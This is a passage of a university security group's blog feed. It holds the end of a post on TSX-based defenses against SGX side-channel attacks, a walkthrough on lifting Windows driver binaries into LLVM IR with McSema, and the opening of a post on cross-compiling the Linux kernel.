attacks against SGX. The green and yellow indicate the protection provided by T-SGX and Cloak,
respectively. Combining both approaches can already effectively mitigate all the attacks.&lt;/p&gt;
&lt;h2&gt;Takeaway&lt;/h2&gt;
&lt;p&gt;Most of the studies underlook the effectiveness of T-SGX because its main focus
is to defend against controlled-channel attacks. Note that controlled-channel
attacks were the only known attacks at the time T-SGX was proposed. However, the feature of
disallowing frequent interrupts effectively prevents attackers from obtaining
side-channel information with high temporal resolution, and therefore
mitigating many later-introduced attacks.
Moreover, because all the other known attacks that do not
require interrupts are based on the cache, Cloak shows that using TSX
also effectively prevents them. As a result, we conclude that, by using TSX-based
defenses, the advantage of launching side-channel attacks with the strong adversary
model no longer holds. One may argue that TSX-based defenses still have
some flaws. Indeed, this is because TSX is not designed to use in these ways.
However, these approaches already raise the bar enough for making state-of-the-art attacks
impractical (i.e., similar to the traditional ones), and we expect to see a similar
hardware-based feature that dedicates for defending side-channel attacks in the future.&lt;/p&gt;
&lt;h2&gt;Reference&lt;/h2&gt;
&lt;p&gt;[1] Y. Xu, W. Cui, and M. Peinado. "Controlled-channel attacks: Deterministic side channels for untrusted operating systems." In Proceedings of the 36th IEEE Symposium on Security and Privacy (Oakland), San Jose, CA, May 2015.&lt;/p&gt;
&lt;p&gt;[2] J. V. Bulck, N. Weichbrodt, R. Kapitza, F. Piessens, R. Strackx. "Telling Your Secrets without Page Faults: Stealthy Page Table-Based Attacks on Enclaved Execution." In Proceedings of the 26th USENIX Security Symposium (Security), Vancouver, BC, Canada, Aug. 2017.&lt;/p&gt;
&lt;p&gt;[3] S. Lee, M.-W. Shih, P. Gera, T. Kim, H. Kim, and M. Peinado. "Inferring Fine-grained Control Flow Inside SGX Enclaves with Branch Shadowing." In Proceedings of the 26th USENIX Security Symposium (Security), Vancouver, BC, Canada, Aug. 2017.&lt;/p&gt;
&lt;p&gt;[4] D. Evtyushkin, R. Riley, N. Abu-Ghazaleh, and D. Ponomarev. "BranchScope: A new side-channel attack on directional branch predictor." In Proceedings of the 23rd ACM International Conference on Architectural Support for Programming Languages and Operating Systems (ASPLOS), Williamsburg, VA, Mar. 2018.&lt;/p&gt;
&lt;p&gt;[5] M. Schwarz, S. Weiser, D. Gruss, C. Maurice, and S. Mangard. "Malware guard extension: Using SGX to conceal cache attacks." In Proceedings of the 14th Conference on Detection of Intrusions and Malware &amp;amp; Vulnerability Assessment (DIMVA), 2017.&lt;/p&gt;
&lt;p&gt;[6] M. Hähnel, W. Cui, and M. Peinado. High-Resolution Side Channels for Untrusted Operating Systems. In Proceedings of the 2017 USENIX Annual Technical Conference (ATC), Santa Clara, CA, July 2017.&lt;/p&gt;
&lt;p&gt;[7] F. Brasser, U. Müller, A. Dmitrienko, K. Kostiainen, S. Capkun, and A. Sadeghi. Software Grand Exposure: SGX Cache Attacks Are Practical. In Proceedings of the 11th USENIX Workshop on Offensive Technologies (WOOT), Vancouver, BC, Canada, Aug. 2017.&lt;/p&gt;
&lt;p&gt;[8] W. Wang, G. Chen, X. Pan, Y. Zhang, X. Wang, V. Bindschaedler, H. Tang, and C. A. Gunter. "Leaky cauldron on the dark land: Understanding memory side-channel hazards in SGX." In ACM SIGSAC Conference on Computer and Communications Security, 2017.&lt;/p&gt;
&lt;p&gt;[9] M.-W. Shih, S. Lee, T. Kim, and M. Peinado. "T-SGX: Eradicating Controlled-Channel Attacks Against Enclave Programs." In Proceedings of the 2017 Annual Network and Distributed System Security Symposium (NDSS), San Diego, CA, Feb.–Mar. 2017.&lt;/p&gt;
&lt;p&gt;[10] D. Gruss, J. Lettner, F. Schuster, O. Ohrimenko, I. Haller, and M. Costa. "Strong and Efcient Cache Side-Channel Protection using Hardware Transactional Memory." In Proceedings of the 26th USENIX Security Symposium (Security), Vancouver, BC, Canada, Aug. 2017.&lt;/p&gt;</content><category term="blog"></category><category term="TEE"></category><category term="Intel SGX"></category><category term="Side Channels"></category></entry><entry><title>Lifting Windows Driver Binaries into LLVM IR</title><link href="https://gts3.org/2017/win-lift.html" rel="alternate"></link><published>2017-10-30T00:00:00+01:00</published><updated>2017-10-30T00:00:00+01:00</updated><author><name>Dhaval Kapil</name></author><id>tag:gts3.org,2017-10-30:/2017/win-lift.html</id><summary type="html">&lt;p&gt;Walkthrough on lifting Windows driver binaries into LLVM IR&lt;/p&gt;</summary><content type="html">&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;The &lt;a href="https://llvm.org/"&gt;LLVM&lt;/a&gt; Compiler Infrastructure is built to provide 
reusable compiler and toolchain components. The intermediate representation 
used by LLVM, named LLVM IR, is the basis for various kinds of analysis and 
instrumentations, both static and dynamic.&lt;/p&gt;
&lt;p&gt;For open-source software and operating systems, 
&lt;a href="https://clang.llvm.org/"&gt;Clang&lt;/a&gt;, the front-end for languages in the 
C-family, can be leveraged to convert C/C++ source code into LLVM IR,
making it possible for doing security analysis on these software and
systems.&lt;/p&gt;
&lt;p&gt;However, in many situations, we do not always have the source code.
One example is the Windows operating system, especially for the 
binaries that come with the system kernel such as the device drivers.&lt;/p&gt;
&lt;p&gt;This restricts the kind of analysis that one can perform. Hence, there 
is definitely a need for lifting LLVM directly from binaries. 
In this post, I'm going to talk about lifting LLVM IR from 64-bit 
x86 Windows binaries.&lt;/p&gt;
&lt;h2&gt;McSema (by Trail of Bits)&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://www.trailofbits.com/"&gt;Trail of Bits&lt;/a&gt; has developed a framework 
called &lt;a href="https://github.com/trailofbits/mcsema"&gt;McSema&lt;/a&gt; for translating 
compiled code to LLVM bitcode. It supports both x86 and amd64 architectures 
and can be used for Linux as well as Windows binaries. 
The translated LLVM IR can even be recompiled as a completely new 
executable with the exact same functionalities.&lt;/p&gt;
&lt;p&gt;However, the LLVM bitcode generated by McSema kinds of mimics the 
disassembly of the compiled code. Each function's signature, that is 
lifted off, follows a particular pattern:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Attrs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;noinline&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;nounwind&lt;/span&gt;
&lt;span class="nx"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;internal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fastcc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nx"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Memory&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="nx"&gt;sub_1c0017f64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nx"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;State&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;dereferenceable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2688&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nx"&gt;state2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;i64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nx"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nx"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Memory&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nx"&gt;memory1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;unnamed_addr&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The first parameter (&lt;code&gt;%state2&lt;/code&gt;) captures the internal state, including 
all the registers. This format is not easy to analyze since it is more 
like reading the disassembling. Additional work needs to be done to 
recover function semantics from the LLVM bitcode generated by McSema.&lt;/p&gt;
&lt;h2&gt;Recovering Function Semantics&lt;/h2&gt;
&lt;p&gt;For recovering function semantics, we need to look at &lt;code&gt;%struct.State&lt;/code&gt;. 
The LLVM file generated also provides the following definition:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;%struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;State&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;%struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ArchState&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;%union&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VectorReg&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;%struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ArithFlags&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;%union&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Flags&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;%struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Segments&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;%struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AddressSpace&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;%struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GPR&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;General&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;purpose&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;registers&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;%struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;X87Stack&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;%struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MMX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;%struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;FPUStatusFlags&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;%union&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Flags&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;%struct.GPR&lt;/code&gt; represents all the general purpose registers. 
Here, we only consider 64-bit Windows binaries. 
While calling a function, the first four parameters are put inside 
registers &lt;code&gt;rcx&lt;/code&gt;, &lt;code&gt;rdx&lt;/code&gt;, &lt;code&gt;r8&lt;/code&gt; and &lt;code&gt;r9&lt;/code&gt;. The rest of the parameters are 
pushed on the stack. This is how this struct is defined:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;struct alignas(8) GPR final {
  .
  .
  volatile uint64_t _0;
  Reg rax; // 1
  volatile uint64_t _1;
  Reg rbx; // 3
  volatile uint64_t _2;
  Reg rcx; // 5
  volatile uint64_t _3;
  Reg rdx; // 7
  .
  .
  volatile uint64_t _6;
  Reg rsp; // 13
  volatile uint64_t _7;
  Reg rbp; // 15
  volatile uint64_t _8;
  Reg r8; // 17
  volatile uint64_t _9;
  Reg r9; // 19
  .
  .
} __attribute__((packed));
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The complete definition can be viewed &lt;a href="https://github.com/trailofbits/remill/blob/24f9ebcde1cb69503b67c437c31c22de035d2050/remill/Arch/X86/Runtime/State.h#L455"&gt;here&lt;/a&gt;. 
The parameters in the registers are referenced by their pointers returned 
using &lt;code&gt;getelementptr&lt;/code&gt; instruction. For example, the following instruction 
returns a pointer to &lt;code&gt;rcx&lt;/code&gt;, i.e. the first parameter of the function:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c"&gt;%3 = getelementptr inbounds %struct.State, %struct.State* %state2, i64 0, i32 6, i32 5, i32 0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Parameters on the stack are referenced in a slightly complex manner. 
First, the &lt;code&gt;rsp&lt;/code&gt; register value is loaded. As seen from the above 
structure, &lt;code&gt;rsp&lt;/code&gt; is present at index 13.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;getelementptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inbounds&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;State&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;State&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;state2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# A pointer to rsp&lt;/span&gt;
&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;load&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i64&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;align&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# The value loaded in rsp&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The fifth parameter is at offset &lt;code&gt;rsp + 40&lt;/code&gt; on the stack. 
The sixth parameter is at &lt;code&gt;rsp + 48&lt;/code&gt; and so on.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c"&gt;%15 = add i64 %14, 40 # A pointer to the value at &amp;#39;rsp + 40&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;While calling other functions, the same structure &lt;code&gt;%state2&lt;/code&gt; is passed. 
However, the individual registers are modified to update the parameters 
using &lt;code&gt;store&lt;/code&gt; instructions. Also, the stack grows downwards (to lower 
memory addresses) by modifying the &lt;code&gt;rsp&lt;/code&gt; register. 
After the first four parameters, the rest are setup up accordingly on 
the stack. The following example shows how the first parameter is modified 
while calling another function:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c"&gt;%9 = getelementptr inbounds %struct.State, %struct.State* %state2, i64 0, i32 6, i32 5, i32 0, i32 0 # A pointer to rcx, the first parameter&lt;/span&gt;
&lt;span class="c"&gt;%87 = add i64 %85, 112 # Computed the parameter to be passed&lt;/span&gt;
&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;i64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;%87,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;i64*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;%9,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;align&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;8,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;!tbaa&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;!849&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;Storing&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;pointer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;rcx&lt;/span&gt;

#&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sub_140002ad0&lt;/span&gt;
&lt;span class="c"&gt;%92 = tail call fastcc %struct.Memory* @sub_140002ad0(%struct.State* nonnull %state2, i64 %88, %struct.Memory* %MEMORY.0)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;A Two-pass Approach&lt;/h2&gt;
&lt;p&gt;To recover the function semantics from the LLVM bitcode generated by 
McSema, we use two passes over every LLVM module. The following is 
calculated for &lt;em&gt;every&lt;/em&gt; function:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A 'set' of &lt;code&gt;Instruction&lt;/code&gt; for every parameter being used by the function. 
A particular parameter may be referenced by more than one pointers within 
the same function. The set represents all such possible pointers.&lt;/li&gt;
&lt;li&gt;A list of functions that it calls.&lt;/li&gt;
&lt;li&gt;For every function in the above list, a list of parameter values being 
passed to that function. Note that, there will always be a unique &lt;code&gt;Value&lt;/code&gt; 
being passed so there is no notion of 'set' here.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Apart from this, the following information is also maintained for &lt;em&gt;every&lt;/em&gt; 
function between the two passes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A 'list' of &lt;code&gt;Instruction&lt;/code&gt; that are pointers to &lt;code&gt;rsp&lt;/code&gt; within the &lt;code&gt;%state2&lt;/code&gt; 
structure.&lt;/li&gt;
&lt;li&gt;A 'list' of &lt;code&gt;Instruction&lt;/code&gt; that contain actual &lt;code&gt;rsp&lt;/code&gt; values 'loaded' from 
one of the above pointers.&lt;/li&gt;
&lt;li&gt;For every &lt;code&gt;rsp&lt;/code&gt; value loaded above, the corresponding offset of &lt;code&gt;rsp&lt;/code&gt; from 
the value of &lt;code&gt;rsp&lt;/code&gt; at the start of the function.&lt;/li&gt;
&lt;li&gt;For every function that is being called, the corresponding &lt;code&gt;rsp&lt;/code&gt; offset 
being passed.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;First Pass&lt;/h3&gt;
&lt;p&gt;The first pass iterates over the instructions sequentially. 
The responsibility of this pass is to get the list of parameters being 
used by this function and also to keep a track of the stack pointer. 
The following type of instructions are taken into consideration:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;GetElementPtrInst&lt;/strong&gt;: These instructions are used to retrieve pointers 
to various registers from the &lt;code&gt;%state2&lt;/code&gt; structure. Pointers to the first 
four parameters (&lt;code&gt;rcx&lt;/code&gt;, &lt;code&gt;rdx&lt;/code&gt;, &lt;code&gt;r8&lt;/code&gt;, &lt;code&gt;r9&lt;/code&gt;) along with the 
stack pointer (&lt;code&gt;rsp&lt;/code&gt;) are saved.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CallInst&lt;/strong&gt;: All function calls to other functions present in the 
bitcode are recorded. The current &lt;code&gt;rspOffset&lt;/code&gt; is also recorded. Also, every 
function call leads to an increase in the increase of the stack pointer 
by 8 bytes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BitCastInst&lt;/strong&gt;: If the source of a &lt;strong&gt;BitCastInst&lt;/strong&gt; is a recorded pointer 
to a parameter, the target of the instruction is also added to the same set, 
since both reference the same parameter.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LoadInst&lt;/strong&gt;: If a value is being loaded from a pointer to &lt;code&gt;rsp&lt;/code&gt; 
(stored above), the corresponding target is recorded along with the 
current &lt;code&gt;rspOffset&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;StoreInst&lt;/strong&gt;: If a value is being stored as the new stack pointer 
(&lt;code&gt;rsp&lt;/code&gt;) in &lt;code&gt;%state2&lt;/code&gt;, the source must be a value pointing somewhere on 
the stack. The &lt;code&gt;currentOffset&lt;/code&gt; is updated accordingly.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BinaryOperator&lt;/strong&gt;: Operations on pointers on the stack are performed 
using this instruction. A new pointer on stack is generated using an 
existing pointer. Now, this pointer may point to one of the parameters 
being passed to the coming functions and is recorded accordingly.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Second Pass&lt;/h3&gt;
&lt;p&gt;Similar to the first pass, the second pass also iterated over the 
instructions sequentially. The responsibility of this pass is to keep 
a track of the current state of parameters and associate them with 
functions that are called. The following types of instructions are taken 
into consideration:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;IntToPtrInst&lt;/strong&gt;: If the source of this instruction is a pointer on 
the stack, so is the target.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;StoreInst&lt;/strong&gt;: Parameters are stored in &lt;code&gt;%state2&lt;/code&gt; using this instruction. 
The target operand is checked for either of the four parameter registers 
(&lt;code&gt;rcx&lt;/code&gt;, &lt;code&gt;rdx&lt;/code&gt;, &lt;code&gt;r8&lt;/code&gt;, &lt;code&gt;r9&lt;/code&gt;) and &lt;code&gt;currentParams&lt;/code&gt; is updated accordingly. 
This instruction is also used to store some parameter on stack. If the 
target operand is any pointer on the stack, the value pushed is recorded.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Callinst&lt;/strong&gt;: At this point, a function call is being made 
and &lt;code&gt;currentParams&lt;/code&gt; store the state of the first four parameters being passed. 
Also, the values pushed on stack earlier are treated as parameters and 
also recorded with the target function.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Using these two passes we now have a complete list of all parameters 
being passed to any function. We also have the parameters that a function 
passes to other functions.&lt;/p&gt;
&lt;p align="right"&gt;Proofread by Meng Xu&lt;/p&gt;</content><category term="blog"></category><category term="OS"></category><category term="Kernel"></category><category term="Decompile"></category></entry><entry><title>Linux Kernel Cross Compilation</title><link href="https://gts3.org/2017/cross-kernel.html" rel="alternate"></link><published>2017-10-06T00:00:00+02:00</published><updated>2017-10-06T00:00:00+02:00</updated><author><name>Meng Xu</name></author><id>tag:gts3.org,2017-10-06:/2017/cross-kernel.html</id><summary type="html">&lt;p&gt;Experience in cross-compiling the Linux kernel&lt;/p&gt;</summary><content type="html">&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;There are several reasons to cross-compile the Linux kernel: &lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Compiling on a native CPU and hardware requires a wide range of
devices, which is not so practical. Furthermore, the actual hardware
is often not suitable for the workload of kernel compilation due to 
a slow CPU, small memory, etc.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Hardware emulation (e.g., with &lt;code&gt;qemu&lt;/code&gt;) can be a viable substitution 
if the slowness can be tolerated.
However, how to setup the compilation environment is another challenge, 
as it requires at least a preferably Linux-flavored OS, the &lt;code&gt;bash&lt;/code&gt; and
&lt;code&gt;make&lt;/code&gt; ecosystem, and most importantly, the &lt;em&gt;toolchain&lt;/em&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cross-compiling on a powerful host enables quick detection of kernel
compile errors and config errors, as shown in the 
&lt;a href="http://server.roeck-us.net:8010/builders"&gt;stable queue builds project&lt;/a&gt;.
Coupled with emulation, testing on non-native architectures becomes 
easier as well.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For my personal use, I would like to see the kernel build process on 
each architecture, capture the compilation flags of each files, collect 
their linking information, and finally see if I can mine some insights
out of it.
